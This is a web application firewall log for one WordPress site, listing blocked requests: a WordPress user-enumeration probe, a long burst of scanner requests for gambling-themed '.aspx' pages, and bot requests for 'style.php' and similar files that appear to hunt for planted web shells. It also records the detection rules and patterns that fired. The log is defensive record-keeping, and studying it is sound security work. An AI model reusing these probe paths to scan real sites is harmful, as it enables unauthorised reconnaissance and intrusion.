[Sat Apr 11 13:12:23.707880 2026] [:error] [pid 2297:tid 2317] [client 117.214.233.237:58515] [client 117.214.233.237] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adnYN7XJS-Jji11jZk3AEQAAARA"]
[Sat Apr 11 13:25:45.707986 2026] [:error] [pid 11067:tid 11090] [client 43.157.191.20:49550] [client 43.157.191.20] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adnbWcW3w7N67R04YCJzhwAAAFU"]
[Sat Apr 11 13:40:07.054977 2026] [:error] [pid 11067:tid 11076] [client 79.137.67.86:57514] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adnet8W3w7N67R04YCJ83gAAAEc"]
[Sat Apr 11 13:40:09.496315 2026] [:error] [pid 11067:tid 11075] [client 79.137.67.86:44954] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adneucW3w7N67R04YCJ84QAAAEY"]
[Sat Apr 11 13:40:11.981154 2026] [:error] [pid 2186:tid 2197] [client 79.137.67.86:44968] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "adneu8ibnOEEvcO8wPL2gAAAAIc"]
[Sat Apr 11 13:40:15.362684 2026] [:error] [pid 2297:tid 2318] [client 79.137.67.86:44984] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "adnev7XJS-Jji11jZk3LfgAAARE"]
[Sat Apr 11 13:40:18.115350 2026] [:error] [pid 2187:tid 2227] [client 79.137.67.86:58644] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "adnewg4J29_qQi0FkjiAkgAAAAE"]
[Sat Apr 11 13:40:21.345253 2026] [:error] [pid 11067:tid 11089] [client 79.137.67.86:58650] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "adnexcW3w7N67R04YCJ87wAAAFQ"]
[Sat Apr 11 13:40:24.347293 2026] [:error] [pid 11067:tid 11083] [client 79.137.67.86:58664] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "adneyMW3w7N67R04YCJ89AAAAE4"]
[Sat Apr 11 13:40:28.101594 2026] [:error] [pid 2187:tid 2246] [client 79.137.67.86:41772] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "adnezA4J29_qQi0FkjiAnAAAABI"]
[Sat Apr 11 13:40:31.809163 2026] [:error] [pid 11067:tid 11077] [client 79.137.67.86:41778] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "adnez8W3w7N67R04YCJ9DgAAAEg"]
[Sat Apr 11 13:40:34.988916 2026] [:error] [pid 11067:tid 11087] [client 79.137.67.86:41782] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "adne0sW3w7N67R04YCJ9EQAAAFI"]
[Sat Apr 11 13:40:37.955429 2026] [:error] [pid 2297:tid 2318] [client 79.137.67.86:54734] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "adne1bXJS-Jji11jZk3LqAAAARE"]
[Sat Apr 11 13:40:41.884359 2026] [:error] [pid 2186:tid 2192] [client 79.137.67.86:54738] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "adne2cibnOEEvcO8wPL2lQAAAII"]
[Sat Apr 11 13:40:44.962821 2026] [:error] [pid 11067:tid 11090] [client 79.137.67.86:54742] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "adne3MW3w7N67R04YCJ9IAAAAFU"]
[Sat Apr 11 13:40:48.062250 2026] [:error] [pid 2187:tid 2228] [client 79.137.67.86:34440] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "adne4A4J29_qQi0FkjiAqQAAAAI"]
[Sat Apr 11 13:40:50.847407 2026] [:error] [pid 2297:tid 2301] [client 79.137.67.86:34456] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "adne4rXJS-Jji11jZk3LxQAAAQA"]
[Sat Apr 11 13:40:53.267962 2026] [:error] [pid 2187:tid 2238] [client 79.137.67.86:34466] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "adne5Q4J29_qQi0FkjiArgAAAAo"]
[Sat Apr 11 13:40:55.745821 2026] [:error] [pid 11067:tid 11072] [client 79.137.67.86:34468] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "adne58W3w7N67R04YCJ9NQAAAEM"]
[Sat Apr 11 13:40:59.131559 2026] [:error] [pid 2297:tid 2302] [client 79.137.67.86:35002] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "adne67XJS-Jji11jZk3L2gAAAQE"]
[Sat Apr 11 13:41:42.071359 2026] [:error] [pid 2188:tid 2278] [client 79.137.67.86:35014] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adnfFoDhDA-Xtn2nRScAEwAAANY"]
[Sat Apr 11 13:41:44.395802 2026] [:error] [pid 2188:tid 2264] [client 79.137.67.86:44536] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adnfGIDhDA-Xtn2nRScAFAAAAMg"]
[Sat Apr 11 13:41:46.785735 2026] [:error] [pid 2297:tid 2304] [client 79.137.67.86:44546] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adnfGrXJS-Jji11jZk3MLQAAAQM"]
[Sat Apr 11 13:41:49.424743 2026] [:error] [pid 2297:tid 2321] [client 79.137.67.86:32772] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adnfHbXJS-Jji11jZk3MNAAAARQ"]
[Sat Apr 11 13:41:51.836211 2026] [:error] [pid 2188:tid 2264] [client 79.137.67.86:32778] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adnfH4DhDA-Xtn2nRScAIQAAAMg"]
[Sat Apr 11 13:41:54.506358 2026] [:error] [pid 2297:tid 2315] [client 79.137.67.86:32780] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adnfIrXJS-Jji11jZk3MOwAAAQ4"]
[Sat Apr 11 13:41:56.998266 2026] [:error] [pid 2297:tid 2323] [client 79.137.67.86:32794] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adnfJLXJS-Jji11jZk3MRQAAARY"]
[Sat Apr 11 13:41:59.943926 2026] [:error] [pid 2186:tid 2204] [client 79.137.67.86:47274] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "adnfJ8ibnOEEvcO8wPL20AAAAI4"]
[Sat Apr 11 13:42:02.119491 2026] [:error] [pid 11067:tid 11085] [client 79.137.67.86:47290] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "adnfKsW3w7N67R04YCJ9uAAAAFA"]
[Sat Apr 11 13:42:04.108506 2026] [:error] [pid 2188:tid 2268] [client 79.137.67.86:47292] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "adnfLIDhDA-Xtn2nRScAMAAAAMw"]
[Sat Apr 11 13:42:06.648940 2026] [:error] [pid 2297:tid 2301] [client 79.137.67.86:47302] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "adnfLrXJS-Jji11jZk3MVAAAAQA"]
[Sat Apr 11 13:42:08.760349 2026] [:error] [pid 2297:tid 2307] [client 79.137.67.86:45314] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "adnfMLXJS-Jji11jZk3MWAAAAQY"]
[Sat Apr 11 13:42:11.066110 2026] [:error] [pid 2186:tid 2218] [client 79.137.67.86:45322] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "adnfM8ibnOEEvcO8wPL21wAAAJc"]
[Sat Apr 11 13:42:13.273986 2026] [:error] [pid 2297:tid 2323] [client 79.137.67.86:45324] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "adnfNbXJS-Jji11jZk3MYAAAARY"]
[Sat Apr 11 13:42:15.585277 2026] [:error] [pid 11067:tid 11089] [client 79.137.67.86:45334] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adnfN8W3w7N67R04YCJ92AAAAFQ"]
[Sat Apr 11 13:42:17.893707 2026] [:error] [pid 2297:tid 2303] [client 79.137.67.86:55032] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "adnfObXJS-Jji11jZk3MagAAAQI"]
[Sat Apr 11 13:42:20.020141 2026] [:error] [pid 11067:tid 11079] [client 79.137.67.86:55038] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adnfPMW3w7N67R04YCJ92wAAAEo"]
[Sat Apr 11 13:42:22.248643 2026] [:error] [pid 11067:tid 11088] [client 79.137.67.86:55050] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "adnfPsW3w7N67R04YCJ95AAAAFM"]
[Sat Apr 11 13:42:24.347638 2026] [:error] [pid 2186:tid 2205] [client 79.137.67.86:55056] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "adnfQMibnOEEvcO8wPL23wAAAI8"]
[Sat Apr 11 13:42:26.368074 2026] [:error] [pid 2188:tid 2268] [client 79.137.67.86:55070] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "adnfQoDhDA-Xtn2nRScATAAAAMw"]
[Sat Apr 11 13:42:28.399548 2026] [:error] [pid 11067:tid 11083] [client 79.137.67.86:55112] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "adnfRMW3w7N67R04YCJ99gAAAE4"]
[Sat Apr 11 13:42:30.475039 2026] [:error] [pid 2188:tid 2256] [client 79.137.67.86:55118] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "adnfRoDhDA-Xtn2nRScAVwAAAMA"]
[Sat Apr 11 13:42:32.439153 2026] [:error] [pid 2297:tid 2308] [client 79.137.67.86:55128] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "adnfSLXJS-Jji11jZk3MegAAAQc"]
[Sat Apr 11 13:42:34.459429 2026] [:error] [pid 2297:tid 2305] [client 79.137.67.86:55136] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "adnfSrXJS-Jji11jZk3MfQAAAQQ"]
[Sat Apr 11 13:42:36.470920 2026] [:error] [pid 11067:tid 11077] [client 79.137.67.86:55138] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adnfTMW3w7N67R04YCJ-DQAAAEg"]
[Sat Apr 11 13:43:12.290362 2026] [:error] [pid 2297:tid 2323] [client 79.137.67.86:47510] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "adnfcLXJS-Jji11jZk3MrQAAARY"]
[Sat Apr 11 13:43:14.131519 2026] [:error] [pid 11067:tid 11077] [client 79.137.67.86:44634] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adnfcsW3w7N67R04YCJ-hQAAAEg"]
[Sat Apr 11 13:43:16.035961 2026] [:error] [pid 11067:tid 11074] [client 79.137.67.86:44648] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "adnfdMW3w7N67R04YCJ-jAAAAEU"]
[Sat Apr 11 13:43:18.080709 2026] [:error] [pid 11067:tid 11090] [client 79.137.67.86:38552] [client 79.137.67.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "adnfdsW3w7N67R04YCJ-lwAAAFU"]
[Sat Apr 11 14:11:39.927110 2026] [:error] [pid 2188:tid 2274] [client 157.15.40.61:56809] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "adnmG4DhDA-Xtn2nRScJwgAAANI"]
[Sat Apr 11 14:11:41.208805 2026] [:error] [pid 2297:tid 2314] [client 157.15.40.61:56882] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/style.php"] [unique_id "adnmHbXJS-Jji11jZk3ZyAAAAQ0"]
[Sat Apr 11 14:11:42.505219 2026] [:error] [pid 11067:tid 11086] [client 157.15.40.61:57279] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/style.php"] [unique_id "adnmHsW3w7N67R04YCKRqQAAAFE"]
[Sat Apr 11 14:11:43.781371 2026] [:error] [pid 2297:tid 2325] [client 157.15.40.61:57346] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/style.php"] [unique_id "adnmH7XJS-Jji11jZk3aDgAAARg"]
[Sat Apr 11 14:11:45.469858 2026] [:error] [pid 11067:tid 11074] [client 157.15.40.61:57650] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style.php"] [unique_id "adnmIcW3w7N67R04YCKR_wAAAEU"]
[Sat Apr 11 14:11:46.113178 2026] [:error] [pid 2186:tid 2202] [client 157.15.40.61:57906] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "adnmIsibnOEEvcO8wPL9-gAAAIw"]
